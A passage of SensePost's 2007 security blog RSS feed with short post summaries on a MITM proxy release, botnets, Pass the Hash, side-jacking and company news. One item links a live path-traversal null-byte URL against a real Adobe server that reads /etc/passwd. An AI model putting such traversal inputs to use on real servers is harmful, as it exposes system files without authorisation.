				<description>&lt;p&gt;We are pleased to announce the release of Suru version 2.0, our MITM proxy.&lt;/p&gt;&#xA;&lt;p&gt;Suru has now been rewritten to work with the .Net 2 runtime environment and includes all the features of the original 1.x stream, as well as numbers of enhancements and upgrades.&lt;/p&gt;&#xA;&lt;p&gt;Features which have been added since the last 1.1 stable release include the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upstream proxy support&lt;/li&gt;&#xA;&lt;li&gt;Response timing for timing-based attacks&lt;/li&gt;&#xA;&lt;li&gt;Highlighting of search terms in the request editor and the browser&lt;/li&gt;&#xA;&lt;li&gt;Neater and sortable request and fuzz list boxes&lt;/li&gt;&#xA;&lt;li&gt;Request interception&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There is currently a known bug when using Suru 2.0 with Mac OS/X and Parallels, but we hope to have the issue ironed out as soon as possible and will release a fix for this in the very near future.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Piotr Bania Agrees.. Metal Gear Rocks.. (warning.. this post has 0 to do with infosec)</title>
				<link>https://sensepost.com/blog/2007/piotr-bania-agrees..-metal-gear-rocks..-warning..-this-post-has-0-to-do-with-infosec/</link>
				<pubDate>Tue, 02 Oct 2007 20:26:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/piotr-bania-agrees..-metal-gear-rocks..-warning..-this-post-has-0-to-do-with-infosec/</guid>
				<description>&lt;p&gt;Way back in 2000 i bought my kid sister a Sony PlayStation.. I have never been a big gamer (not since arcade games when i was tiny) but a reliable source at work convinced me to play Metal Gear &amp;#8211; Solid. The game was awesome and for the period i played it, it dominated my life.. im not a gamer so probably not qualified to use words like gameplay but found the game incredibly intuitive and seldom ever found it &amp;#8220;gamey&amp;#8221;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>The proof of the pudding ?</title>
				<link>https://sensepost.com/blog/2007/the-proof-of-the-pudding/</link>
				<pubDate>Mon, 01 Oct 2007 21:14:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/the-proof-of-the-pudding/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://royal.pingdom.com/?p=173&#34; target=&#34;_blank&#34;&gt;Royal pingdom did a quick check&lt;/a&gt; on what was running at some of the more popular sites on the Internet and end up with the following table:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://farm2.static.flickr.com/1152/1201782215_201cc40ecc_o.jpg&#34; target=&#34;_blank&#34;&gt;&lt;img align=&#34;middle&#34; alt=&#34;what_server.jpg&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/the-proof-of-the-pudding/245e3c17656cbd2e7707566f06d83d3c.jpg&#34; title=&#34;what_server.jpg&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Its intersting for a whole bunch of reasons that im currently too sleep y to write about.. (sleepy??? must be old age?)(or the flu pills im taking)&lt;/p&gt;&#xA;&lt;p&gt;The first thing that was interesting to me was the suprising lack of BSD ? i like linux and have used it as a desktop machine forever (before becoming a macfanboy) but have always defaulted to FreeBSD for servers.. im not sure what this means and ill do a little netcraft digging tomorrow to see if its a general trend..&lt;/p&gt;</description>
			</item>
			<item>
				<title>The myth of the expert</title>
				<link>https://sensepost.com/blog/2007/the-myth-of-the-expert/</link>
				<pubDate>Sat, 29 Sep 2007 08:11:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/the-myth-of-the-expert/</guid>
				<description>&lt;p&gt;Something we preach very strongly in our training is the importance of&lt;br /&gt;&#xA;an understanding of the underlying technology / application / issues,&lt;br /&gt;&#xA;and being able to dig into the core of an issue, not just try a trick or&lt;br /&gt;&#xA;two and move on. Sadly, most people don&amp;#8217;t see it this way.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;#8217;s also somewhere between sad and frustrating for me that there seems&lt;br /&gt;&#xA;to be an over-abundance of so-called &amp;#8220;experts&amp;#8221; in our field. While this&lt;br /&gt;&#xA;isn&amp;#8217;t an issue for those who have a deep understanding, the fact of the&lt;br /&gt;&#xA;matter is that for many of our customers, their key competence is their&lt;br /&gt;&#xA;respective industry, and not information security.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Feedback on our courses in Switzerland</title>
				<link>https://sensepost.com/blog/2007/feedback-on-our-courses-in-switzerland/</link>
				<pubDate>Thu, 27 Sep 2007 18:00:45 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/feedback-on-our-courses-in-switzerland/</guid>
				<description>&lt;p&gt;We just finished presenting an HBN Bootcamp and an HBN Combat Edition in Lausanne, Switzerland.  A lot of people don&amp;#8217;t know that we do this format &amp;#8211; small courses on location worldwide. Its a different vibe to the big courses we do at Black Hat and the like, but it has some real advantages. Here&amp;#8217;s the feedback we received &amp;#8211; I especially like the nice things they say about me&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>reddit: exploit publisher?</title>
				<link>https://sensepost.com/blog/2007/reddit-exploit-publisher/</link>
				<pubDate>Wed, 26 Sep 2007 15:17:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/reddit-exploit-publisher/</guid>
				<description>&lt;p&gt;saw this in my RSS reader, the null poison byte makes a comeback!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;poison.png&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/reddit-exploit-publisher/43b67d4591a553d525ae5d850d36330f.png&#34; width=&#34;100%&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Until it gets fixed, you can view &lt;a href=&#34;http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=../../../../../../../../..//etc/passwd%00&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Is that a robots.txt in your pocket or are you just ahppy to see me?</title>
				<link>https://sensepost.com/blog/2007/is-that-a-robots.txt-in-your-pocket-or-are-you-just-ahppy-to-see-me/</link>
				<pubDate>Tue, 25 Sep 2007 21:52:55 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/is-that-a-robots.txt-in-your-pocket-or-are-you-just-ahppy-to-see-me/</guid>
				<description>&lt;p&gt;This will probably get cleaned up soon, but thats a huuuuuuuge robots.txt [ &lt;a href=&#34;http://www.whitehouse.gov/robots.txt&#34; target=&#34;_blank&#34;&gt;http://www.whitehouse.gov/robots.txt]&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>I have always tried to keep this blog politics-free</title>
				<link>https://sensepost.com/blog/2007/i-have-always-tried-to-keep-this-blog-politics-free/</link>
				<pubDate>Sat, 22 Sep 2007 22:22:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/i-have-always-tried-to-keep-this-blog-politics-free/</guid>
				<description>&lt;p&gt;but the &lt;a href=&#34;http://dilbertblog.typepad.com/the_dilbert_blog/2007/09/a-feeling-im-be.html&#34; target=&#34;_blank&#34;&gt;last Scott Adams posting on the Iranian presidents US visit&lt;/a&gt; has to be the best piece i have read in a long long time..&lt;/p&gt;</description>
			</item>
			<item>
				<title>BotNets not just for SPAM any more</title>
				<link>https://sensepost.com/blog/2007/botnets-not-just-for-spam-any-more/</link>
				<pubDate>Fri, 21 Sep 2007 03:05:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/botnets-not-just-for-spam-any-more/</guid>
				<description>&lt;p&gt;The Symantec Security blog has an article titled &amp;#8220;&lt;a href=&#34;http://www.symantec.com/enterprise/security_response/weblog/2007/09/botnets_not_just_for_spamming.html&#34; target=&#34;_blank&#34;&gt;Botnets: not just for spamming anymore&lt;/a&gt;&amp;#8220;. Interestingly we are now starting to see the use of botnets for more than just simple spamming (or simpler DoS attacks).&lt;/p&gt;&#xA;&lt;p&gt;Its pretty cool (in a twisted sort of way), because this is one of those things we called out a long time ago, predicting that botnets were way under-used as a form of cheap distributed computing. We have been mentioning its potential for effectively minimizing the key-space of session-ids and it looks like its starting to rear its head..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introducing Hex-Rays…</title>
				<link>https://sensepost.com/blog/2007/introducing-hex-rays/</link>
				<pubDate>Thu, 13 Sep 2007 19:58:16 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/introducing-hex-rays/</guid>
				<description>&lt;p&gt;These days its almost impossible to read a book on security or vuln-dev without a gratuitous IDA-Pro screenshot. &lt;a href=&#34;http://www.datarescue.com/idabase/ida.htm&#34; target=&#34;_blank&#34;&gt;IDA&lt;/a&gt; has proven itself so valuable at reversing that its near impossible to find texts that fail to mention it. (Even ancient texts from fravia and woodman will make reference to it).&lt;/p&gt;&#xA;&lt;p&gt;Well.. for a long long time people have wondered why &lt;a href=&#34;http://www.datarescue.com/people/ilfak.htm&#34; target=&#34;_blank&#34;&gt;ilfak&lt;/a&gt; (ida&amp;#8217;s main author) didnt get into the point and click vuln finding / point-and-click disassembler business..  For a long time he (and &lt;a href=&#34;http://www.datarescue.com/&#34; target=&#34;_blank&#34;&gt;datarescue&lt;/a&gt; stayed out of it), till now..&lt;/p&gt;</description>
			</item>
			<item>
				<title>FaceBook</title>
				<link>https://sensepost.com/blog/2007/facebook/</link>
				<pubDate>Thu, 13 Sep 2007 07:57:06 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/facebook/</guid>
				<description>&lt;p&gt;&amp;#8217;twas only a matter of time before various FaceBook developers started cashing in on the amount of personal info they can collect&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://www.theregister.co.uk/2007/09/12/facebook_compare_people/&#34; target=&#34;_blank&#34; title=&#34;http://www.theregister.co.uk/2007/09/12/facebook_compare_people/&#34;&gt;http://www.theregister.co.uk/2007/09/12/facebook_compare_people/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This was something Marco and I chatted about a few weeks ago &amp;#8211; not from the &amp;#8220;financial gain&amp;#8221; perspective, but rather from the large amounts of data one would be able to collect from Facebook by playing with the FaceBook API.  Unfortunately, there has been no time for fun and games yet&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Alas.. i could have made squillions (aka – Amazon MTURK)</title>
				<link>https://sensepost.com/blog/2007/alas..-i-could-have-made-squillions-aka-amazon-mturk/</link>
				<pubDate>Wed, 12 Sep 2007 20:03:06 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/alas..-i-could-have-made-squillions-aka-amazon-mturk/</guid>
				<description>&lt;p&gt;In early 2002 i suggested that we could solve some computer problems and south africas street-kid problem by setting up a network of street=kids with basic education to handle tasks computers still struggled with. At the time we were concerned with low-false positive, agentless remote detection of defaced web-sites, but also ran into the idea when we first built e-or, our early web application scanner. I suspect i didnt broach the subject with enough sensitivity (and in retrospect suggesting that remote controls for automatic gates could be replaced by 2 low cost street-kids (one as a spare)) might not have helped my cause..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Defcon talks – Videos available online..</title>
				<link>https://sensepost.com/blog/2007/defcon-talks-videos-available-online../</link>
				<pubDate>Wed, 12 Sep 2007 12:55:38 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/defcon-talks-videos-available-online../</guid>
				<description>&lt;p&gt;A recent maillist thread shows that the DC15 videos are anow available online [&lt;a href=&#34;http://www.google.co.za/search?source=ig&amp;#038;hl=en&amp;#038;q=%22defcon+15+-%22+site%3Avideo.google.com&amp;#038;btnG=Google+Search&amp;#038;meta=&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;Our video (although my voice sounded alot better in my head than it does on video) is available [&lt;a href=&#34;http://video.google.com/videoplay?docid=-6149767674745536409&amp;#038;q=%22defcon+15+-%22+site%3Avideo.google.com&amp;#038;total=122&amp;#038;start=100&amp;#038;num=10&amp;#038;so=1&amp;#038;type=search&amp;#038;plindex=4&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>Heheh.. Elite! snakes on a #$#%@# plane!</title>
				<link>https://sensepost.com/blog/2007/heheh..-elite-snakes-on-a-%23%23@%23-plane/</link>
				<pubDate>Mon, 10 Sep 2007 13:02:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/heheh..-elite-snakes-on-a-%23%23@%23-plane/</guid>
				<description>&lt;p&gt;Courtesy of afx:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img align=&#34;middle&#34; alt=&#34;snakes_on_a_plane.png&#34; height=&#34;373&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/heheh-elite-snakes-on-a-plane/a4cd4753a95cd13404fb560152381d27.png&#34; title=&#34;snakes_on_a_plane.png&#34; width=&#34;568&#34; /&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Awesome data visualization stuff…</title>
				<link>https://sensepost.com/blog/2007/awesome-data-visualization-stuff/</link>
				<pubDate>Tue, 04 Sep 2007 08:37:12 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/awesome-data-visualization-stuff/</guid>
				<description>&lt;p&gt;Steven Murdoch over at &lt;a href=&#34;http://www.lightbluetouchpaper.org/&#34; target=&#34;_blank&#34;&gt;lightbluetouchpaper&lt;/a&gt; did an investigation into the Privila internship program.. What was also cool however was that he threw together a quick visualization of the data&lt;/p&gt;&#xA;&lt;div&gt;&lt;img alt=&#34;privilaview.png&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/awesome-data-visualization-stuff/2d67c9efa3dfe0cb778bc9aaa5d34d21.png&#34; title=&#34;privilaview.png&#34; /&gt;&lt;/div&gt;&#xA;&lt;p&gt;Moving graphs are always cool, and the fact that he got it together so quickly was impressive.. a quick check shows that he used the &lt;a href=&#34;http://prefuse.org/&#34; target=&#34;_blank&#34;&gt;Prefuse toolkit&lt;/a&gt; which is a totally BSD lic. visualization toolkit that looks simple to use with some awesome examples..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Another attempt at you-tube science, aka how to save 36c when changing the batteries on your remote!</title>
				<link>https://sensepost.com/blog/2007/another-attempt-at-you-tube-science-aka-how-to-save-36c-when-changing-the-batteries-on-your-remote/</link>
				<pubDate>Sun, 02 Sep 2007 17:44:40 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/another-attempt-at-you-tube-science-aka-how-to-save-36c-when-changing-the-batteries-on-your-remote/</guid>
				<description>&lt;p&gt;ok.. so a long time ago &lt;a href=&#34;http://www.sensepost.com/blog/444.html&#34; target=&#34;_blank&#34;&gt;we tried the you-tube mentos stuff &lt;/a&gt;and happily wasted time (and coke) in the office parking lot.. (of course this was after half assed attempts to mimic the experiments imperfectly.. given the typical office makeup, this ensured that we tried it with various other softdrinks, various other sweets and at one point even tried microwaving the drink cause roelof thought &amp;#8220;the cold was ruining it&amp;#8221;.)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Medical Doctors.. bah! hambug..</title>
				<link>https://sensepost.com/blog/2007/medical-doctors..-bah-hambug../</link>
				<pubDate>Sun, 02 Sep 2007 09:28:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/medical-doctors..-bah-hambug../</guid>
				<description>&lt;p&gt;I&amp;#8217;ve ranted a few times about things i hate about the way we &amp;#8220;do medicine&amp;#8221;. (Doctors are not alone here.. i cant believe that in the age where we operate on the eye with lasers and see production ready nano-tech. we consider yanking teeth with a pair of pliers a reasonable option)&lt;/p&gt;&#xA;&lt;p&gt;Recently i heard an interview with the head of MS Research where he spoke about some of the same things.. i.e. that 9/10 people are visiting the doctor for the same thing (that new strain of flu going around) and that we could help alot of things with a simple &amp;#8220;if you have a fever, and a runny nose and red spots today, u have the latest X going around.. take 2 of X and get some rest&amp;#8221;. This would handle the majority of the ppl walking in..&lt;/p&gt;</description>
			</item>
			<item>
				<title>How Gentoo got hacked.. holy #@^%&amp;!!</title>
				<link>https://sensepost.com/blog/2007/how-gentoo-got-hacked..-holy-%23@/</link>
				<pubDate>Thu, 30 Aug 2007 07:36:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/how-gentoo-got-hacked..-holy-%23@/</guid>
				<description>&lt;p&gt;&lt;a  href=&#34;https://sensepost.com/img/pages/blog/2007/how-gentoo-got-hacked-holy/482802f2b160de2ada7f0621cb63f407.png&#34; title=&#34;gentoo.png&#34;&gt;&lt;img align=&#34;middle&#34; alt=&#34;gentoo.png&#34; height=&#34;200&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/how-gentoo-got-hacked-holy/482802f2b160de2ada7f0621cb63f407.png&#34; title=&#34;gentoo.png&#34; width=&#34;513&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If a picture is worth a 1000 words, then i dont want to know what this reads&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost, now a company of SecureData…</title>
				<link>https://sensepost.com/blog/2007/sensepost-now-a-company-of-securedata/</link>
				<pubDate>Mon, 27 Aug 2007 20:58:34 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/sensepost-now-a-company-of-securedata/</guid>
				<description>&lt;p&gt;For those of you haven&amp;#8217;t yet seen, the J.S.E listed SecureData bought 100% of the shares in SensePost late last week.. We have had many offers over the past few years and while the money was generally good, the fit was not.. We believe we found this fit with SecureData (formerly ERP.com) as an independent company within the SecureData stable.&lt;/p&gt;&#xA;&lt;p&gt;The deal changes very little operationally for SensePost, with all management and directors staying exactly where we are.. We wont be moving offices (and i still wont be wearing a suit any time soon!). Our independence remains and we will remain product agnostic. (if anything it will now mean that we will get a bunch of kit to break from/for SecureData :&gt; ) Our reports remain privileged information between us and our clients, and our advice like always will be whatever we believe is in the customers best interests.. Both SensePost and SecureData believe that this impartiality is important and we would not be going forward with the deal without this being agreed on in spirit and on paper..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Thunks from hacking games</title>
				<link>https://sensepost.com/blog/2007/thunks-from-hacking-games/</link>
				<pubDate>Fri, 24 Aug 2007 11:08:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/thunks-from-hacking-games/</guid>
				<description>&lt;p&gt;In Vegas I bought Herman &amp;#8220;&lt;a href=&#34;http://www.amazon.com/Exploiting-Online-Games-Distributed-Addison-Wesley/dp/0132271915/ref=pd_bbs_sr_1/105-9730447-1551664?ie=UTF8&amp;#038;s=books&amp;#038;qid=1187951696&amp;#038;sr=8-1&#34;&gt;Exploiting Online Games&lt;/a&gt;&amp;#8221; by Greg Hoglund and Gary McGraw. Being the saint that I am, I looked at the book thoroughly on the plane on the way home. Fortunately I was able to verify that most of the pages were there and intact and that were no blatant spelling or grammatical errors &amp;#8211; it wouldn&amp;#8217;t do to give Herman a broken book.&lt;/p&gt;&#xA;&lt;p&gt;Whilst I was checking the Herman&amp;#8217;s gift *anyway* I figured it wouldn&amp;#8217;t hurt to also read and absorb some of the content &amp;#8211; just to make sure I wasn&amp;#8217;t giving him nonsense (with all due respect to Greg and Gary). In particular what interested me was whether their thinking on online games held any lessons for the work we more traditionally do on online financial and e-commerce systems. I thought the book  was fascinating, particularly in this context. What follows is a mind dump of some of the thoughts I had as I was reading.&lt;/p&gt;</description>
			</item>
			<item>
				<title>It begs the question…</title>
				<link>https://sensepost.com/blog/2007/it-begs-the-question/</link>
				<pubDate>Fri, 24 Aug 2007 10:11:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/it-begs-the-question/</guid>
				<description>&lt;p&gt;I cant recall who said it in yesterdays meeting, but my response is simple: &lt;a href=&#34;http://begthequestion.info/&#34; target=&#34;_blank&#34;&gt;http://begthequestion.info/&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>MTBF and Light Bulbs..</title>
				<link>https://sensepost.com/blog/2007/mtbf-and-light-bulbs../</link>
				<pubDate>Thu, 23 Aug 2007 22:49:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/mtbf-and-light-bulbs../</guid>
				<description>&lt;p&gt;Some of you will know that i finally moved out of the shoe box i lived in for 6 years and moved into a house (about 3 months ago) Since then i have replaced 3 different light bulbs at different places in the house.. Now this made me start thinking.. Surely when the house was new, they fitted in all the bulbs as brand new.. Now some sections of the house light a series of 4 or 6 bulbs at once.. yet there appears to be no link at all between &amp;#8220;sibling&amp;#8221; bulbs and their life-span..&lt;/p&gt;</description>
			</item>
			<item>
				<title>BMC Video on DTrace..</title>
				<link>https://sensepost.com/blog/2007/bmc-video-on-dtrace../</link>
				<pubDate>Thu, 23 Aug 2007 06:57:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/bmc-video-on-dtrace../</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://blogs.sun.com/bmc/&#34; target=&#34;_blank&#34;&gt;BMC&lt;/a&gt; did his 90 minute &lt;a href=&#34;http://video.google.com/videosearch?q=engedu&#34; target=&#34;_blank&#34;&gt;engedu&lt;/a&gt; talk on &lt;a href=&#34;http://en.wikipedia.org/wiki/DTrace&#34; target=&#34;_blank&#34;&gt;DTrace&lt;/a&gt; at google to show some of its coolness (and from the looks of things to help get a Linux port going). DTrace looks awesome for system instrumentation (like strace on steroids)(although limiting it like that does it no justice at all). From the &lt;a href=&#34;http://www.sun.com/bigadmin/content/dtrace/&#34; target=&#34;_blank&#34;&gt;DTrace Page&lt;/a&gt;: &amp;#8220;&lt;em&gt;DTrace is a comprehensive dynamic tracing framework for the Solaris Operating Environment. DTrace provides a powerful infrastructure to permit administrators, developers, and service personnel to concisely answer arbitrary questions about the behavior of the operating system and user programs.&lt;/em&gt;&amp;#8221;&lt;br /&gt;&#xA;Its the #1 thing that has me all excited about leopard (shipping with dtrace by default) and i genuinely cant wait (maybe now ill spend the extra minutes finding out how growlNotify manages to occasionally hose my box ;&gt; )&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ok.. Now this is pretty cool…</title>
				<link>https://sensepost.com/blog/2007/ok..-now-this-is-pretty-cool/</link>
				<pubDate>Wed, 22 Aug 2007 11:35:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/ok..-now-this-is-pretty-cool/</guid>
				<description>&lt;p&gt;For all those guys who usually scoff at CSI / Police Movies where the detective shouts &amp;#8220;enhance image&amp;#8221; or remove that person, you have to admit that life dos indeed imitate art..&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://introonet.sensepost.com/blog/?attachment_id=1358&#34; rel=&#34;attachment&#34; target=&#34;_blank&#34; title=&#34;Picture 14.PNG&#34;&gt;&lt;/p&gt;&#xA;&lt;div&gt;&lt;img alt=&#34;Picture 14.PNG&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/ok-now-this-is-pretty-cool/7518606c25289e5448aa385ea5b77284.PNG&#34; title=&#34;Picture 14.PNG&#34; /&gt;&lt;/div&gt;&#xA;&lt;p&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(&lt;a href=&#34;http://www.milkandcookies.com/link/66481/detail/&#34; target=&#34;_blank&#34;&gt;Click image or here&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Pretty neat&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>2 Un-related thoughts.. on Echelon and the recent Skype Outage..</title>
				<link>https://sensepost.com/blog/2007/2-un-related-thoughts..-on-echelon-and-the-recent-skype-outage../</link>
				<pubDate>Mon, 20 Aug 2007 19:35:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/2-un-related-thoughts..-on-echelon-and-the-recent-skype-outage../</guid>
				<description>&lt;p&gt;I suspect somewhere there exist cardinal rules of blogging which would state that using a single post to make 2 completely un-related posts is a no-no.. I will now promptly ignore it 2 push out 2 random thoughts that came up..&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Echelon and Echelon spam..&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;While watching the &lt;a href=&#34;http://www.imdb.com/title/tt0440963/&#34; target=&#34;_blank&#34;&gt;Bourne Ultimatum&lt;/a&gt; the other night the usual &amp;#8220;&lt;a href=&#34;http://en.wikipedia.org/wiki/ECHELON&#34; target=&#34;_blank&#34;&gt;echelon&lt;/a&gt;&amp;#8220;esque scene played out.. Guy on phone says keyword.. pan to NSA/CIA type building.. computer drone type person screams something like &amp;#8220;we have a hot one&amp;#8221;..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Core Release Pass the Hash Toolkit..</title>
				<link>https://sensepost.com/blog/2007/core-release-pass-the-hash-toolkit../</link>
				<pubDate>Thu, 16 Aug 2007 10:10:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/core-release-pass-the-hash-toolkit../</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://hexale.blogspot.com/&#34; target=&#34;_blank&#34;&gt;Hernan Ochoa&lt;/a&gt; from &lt;a href=&#34;http://www.coresecurity.com/&#34; target=&#34;_blank&#34;&gt;Core&lt;/a&gt; has released the &lt;a href=&#34;http://oss.coresecurity.com/projects/pshtoolkit.htm&#34; target=&#34;_blank&#34;&gt;Pass the Hash Toolkit&lt;/a&gt; which is very cool.. It basically means that you dont have to bother cracking a password on a taken machine anymore, you can simply use his iam.exe  to associate the captured hash with your current session.. Its accompanying whoisthere.exe means you can grab hashes easily and the fact that its all released with source means you should be able to use it on a customer network without a sinking feeling in your stomach :&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>We’re hiring</title>
				<link>https://sensepost.com/blog/2007/were-hiring/</link>
				<pubDate>Wed, 15 Aug 2007 20:32:07 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/were-hiring/</guid>
				<description>&lt;p&gt;SensePost is an exciting &amp;#038; dynamic young company with strong values &amp;#038;&lt;br /&gt;&#xA;a world vision. We specialize in high-end technical security services&lt;br /&gt;&#xA;&amp;#038; we&amp;#8217;re looking for exceptional people to help grow our world-class&lt;br /&gt;&#xA;team. If you&amp;#8217;d like to be part of a relaxed, inspired team where your&lt;br /&gt;&#xA;work is valued &amp;#038; appreciation for your work is visibly demonstrated,&lt;br /&gt;&#xA;where opportunities to learn abound &amp;#038; innovation is encouraged, then&lt;br /&gt;&#xA;why not join us at SensePost?&lt;/p&gt;</description>
			</item>
			<item>
				<title>On hamsters, Escaping, Escaping of Hamsters and the Lack of escaping in Hamster…</title>
				<link>https://sensepost.com/blog/2007/on-hamsters-escaping-escaping-of-hamsters-and-the-lack-of-escaping-in-hamster/</link>
				<pubDate>Wed, 15 Aug 2007 07:42:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/on-hamsters-escaping-escaping-of-hamsters-and-the-lack-of-escaping-in-hamster/</guid>
				<description>&lt;p&gt;&lt;a  href=&#34;https://sensepost.com/img/pages/blog/2007/on-hamsters-escaping-escaping-of-hamsters-and-the-lack-of-escaping-in-hamster/6277d34cfd36237bbedfab4cb41db829.jpg&#34; title=&#34;hamster_escape1.jpg&#34;&gt;&lt;img align=&#34;middle&#34; alt=&#34;hamster_escape1.jpg&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/on-hamsters-escaping-escaping-of-hamsters-and-the-lack-of-escaping-in-hamster/6277d34cfd36237bbedfab4cb41db829.jpg&#34; title=&#34;hamster_escape1.jpg&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;OK.. So as i mentioned before, I saw Robert Graham from Erratasec demo hamster live on stage and wondered if hamster was doing useful input/output sanitization.. If it wasn&amp;#8217;t, he was setting himself up for a pop-up that read &amp;#8220;owned on stage&amp;#8221; or worse a re-direct to tubgirl.. He didnt get owned on stage, which suggested that either the crowd was really well behaved or the tool was doing some tidying up so i decided to wait till i got home to check..&lt;/p&gt;</description>
			</item>
			<item>
				<title>mh.blackhatFeedback(Side-jacking, Hamster)</title>
				<link>https://sensepost.com/blog/2007/mh.blackhatfeedbackside-jacking-hamster/</link>
				<pubDate>Tue, 14 Aug 2007 16:56:38 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/mh.blackhatfeedbackside-jacking-hamster/</guid>
				<description>&lt;p&gt;Ok.. so its a lot later than i promised, but i did mention that i would post some feedback on some of the talks i ended up catching at this years BlackHat. By far the talk that grabbed the most press was the &lt;a href=&#34;http://www.erratasec.com/&#34; target=&#34;_blank&#34;&gt;Erratasec&lt;/a&gt; talk on &lt;a href=&#34;http://erratasec.blogspot.com/2007/08/sidejacking-with-hamster_05.html&#34; target=&#34;_blank&#34;&gt;Side-Jacking&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Essentially the researchers demonstrated a tool (hamster) that allows an attacker on a shared network (wifi was used as an example, but i guess any shared medium would suffice) to hi-jack users accounts by sniffing their session-ids.&lt;/p&gt;</description>
			</item>
			<item>
				<title>On hacking and politics</title>
				<link>https://sensepost.com/blog/2007/on-hacking-and-politics/</link>
				<pubDate>Sat, 11 Aug 2007 21:10:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/on-hacking-and-politics/</guid>
